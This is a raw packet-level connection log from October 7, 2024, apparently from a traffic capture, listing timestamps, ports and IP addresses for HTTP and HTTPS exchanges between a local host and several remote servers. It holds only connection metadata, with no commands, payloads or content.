Oct 7, 2024 13:27:21.793320894 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793384075 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793396950 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793418884 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793432951 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793471098 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793486118 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793499947 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793514967 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793519020 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793529987 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793545008 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793545008 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793559074 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793560028 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793574095 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793595076 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793621063 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793797016 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793812037 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793827057 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793847084 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793870926 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793940067 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793953896 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793970108 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793982983 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.793989897 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.793997049 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794012070 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794017076 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794039011 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794059038 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794076920 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794116974 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794214964 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794229984 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794244051 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794249058 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794259071 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794267893 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794272900 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794285059 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794287920 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794297934 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794305086 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794316053 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794321060 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794329882 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794337034 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794342995 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794363976 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794379950 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794517994 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794532061 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794547081 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794549942 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794569016 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794584036 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794603109 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794617891 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794630051 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794646025 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794650078 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794661045 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794675112 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794680119 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794689894 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794698000 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794725895 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794945955 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794960022 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794984102 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.794984102 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.794998884 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795001030 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.795011997 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795026064 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795028925 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.795041084 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795053959 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795056105 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.795068979 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795072079 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.795084000 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795103073 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.795126915 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.795269966 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.795311928 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.801348925 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.801362038 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.801377058 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.801393986 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.801413059 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.801424980 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.801440001 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.801460028 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.801486969 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:21.801758051 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:21.801865101 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:22.220026970 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.220082998 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.220150948 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.220361948 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.220376968 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.410417080 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:22.415261030 CEST	80	50012	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:22.415357113 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:22.415564060 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:22.420341015 CEST	80	50012	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:22.855448008 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.855655909 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.855665922 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.856009960 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.856065989 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.856643915 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.856690884 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.857634068 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.857692003 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.857796907 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:22.857805014 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:22.910792112 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.104300976 CEST	80	50012	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:23.104374886 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:23.107305050 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:23.112129927 CEST	80	50012	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:23.178174973 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.180083036 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.180129051 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.180136919 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.180145979 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.180197954 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.184961081 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.185039997 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.185046911 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.191057920 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.191138983 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.191145897 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.191220999 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.191263914 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.191270113 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.210916042 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.211025000 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.211036921 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.211065054 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.211129904 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.211134911 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.211962938 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.212030888 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.212035894 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.263288975 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.266057014 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.266128063 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.266237974 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.266287088 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.268141985 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.268208027 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.273778915 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.273901939 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.274149895 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.274204016 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.280082941 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.280141115 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.286338091 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.286397934 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.286464930 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.292902946 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.292958021 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.292968035 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.293204069 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.293246031 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.293315887 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.293497086 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.293509960 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.299176931 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.299316883 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.299320936 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.302149057 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.302340984 CEST	50010	443	192.168.2.5	142.250.184.206
Oct 7, 2024 13:27:23.302352905 CEST	443	50010	142.250.184.206	192.168.2.5
Oct 7, 2024 13:27:23.335700989 CEST	80	50012	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:23.335796118 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:23.360658884 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.360699892 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.361124039 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.361406088 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.361418962 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.933264017 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.933648109 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.933665037 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.934180975 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.934238911 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.935184002 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.935240984 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.936340094 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.936419964 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.936800957 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:23.936806917 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.990813017 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:23.990988970 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.017669916 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.017679930 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.018198967 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.018332958 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.018887043 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.018934965 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.212595940 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.213273048 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.214226007 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.297724962 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.297892094 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.298621893 CEST	50015	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.298644066 CEST	443	50015	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.300669909 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.300733089 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.300801039 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.300946951 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.300959110 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.301318884 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.301342964 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.308563948 CEST	50019	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:24.313361883 CEST	80	50019	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:24.313433886 CEST	50019	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:24.313582897 CEST	50019	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:24.318567991 CEST	80	50019	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:24.349889040 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.486731052 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.486880064 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.486932993 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.505647898 CEST	50016	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.505670071 CEST	443	50016	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.506746054 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.506803036 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.506863117 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.507206917 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.507220984 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.940257072 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.940517902 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.940531969 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.941034079 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.941092014 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.942037106 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.942084074 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.942274094 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.942349911 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.942846060 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.942852974 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:24.944058895 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:24.991409063 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.036147118 CEST	80	50019	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:25.036226034 CEST	50019	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:25.040539980 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.040983915 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.045792103 CEST	80	50003	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.045834064 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.045859098 CEST	50003	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.045919895 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.046138048 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.051287889 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.137634993 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.140147924 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.140214920 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.141144991 CEST	50018	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.141155958 CEST	443	50018	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.141283989 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.141830921 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.141848087 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.142210007 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.142263889 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.142900944 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.142945051 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.143621922 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.143683910 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.144077063 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.144085884 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.144100904 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.191411018 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.192986965 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.289926052 CEST	50012	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:25.334981918 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.335196972 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.335572004 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.336565971 CEST	50020	443	192.168.2.5	172.217.18.14
Oct 7, 2024 13:27:25.336590052 CEST	443	50020	172.217.18.14	192.168.2.5
Oct 7, 2024 13:27:25.492825985 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:25.539407015 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.753494024 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.753566027 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.753674030 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.753686905 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.753737926 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.754368067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.754380941 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.754432917 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.755039930 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.755114079 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.755314112 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.755326986 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.755393028 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.756093025 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.756105900 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.756192923 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.758385897 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.758567095 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.758584976 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.758671045 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.761681080 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.761810064 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.762135029 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:25.762151957 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.763070107 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.763207912 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.763237953 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:25.763248920 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.763341904 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:25.763350010 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.763366938 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.763778925 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:25.763938904 CEST	49990	443	192.168.2.5	172.217.16.132
Oct 7, 2024 13:27:25.763957024 CEST	443	49990	172.217.16.132	192.168.2.5
Oct 7, 2024 13:27:25.877593040 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.877681017 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.877855062 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.877867937 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.878035069 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.878195047 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.878619909 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.878633976 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.878685951 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.878707886 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:25.879443884 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.879457951 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:25.879518032 CEST	50023	80	192.168.2.5	185.215.113.103
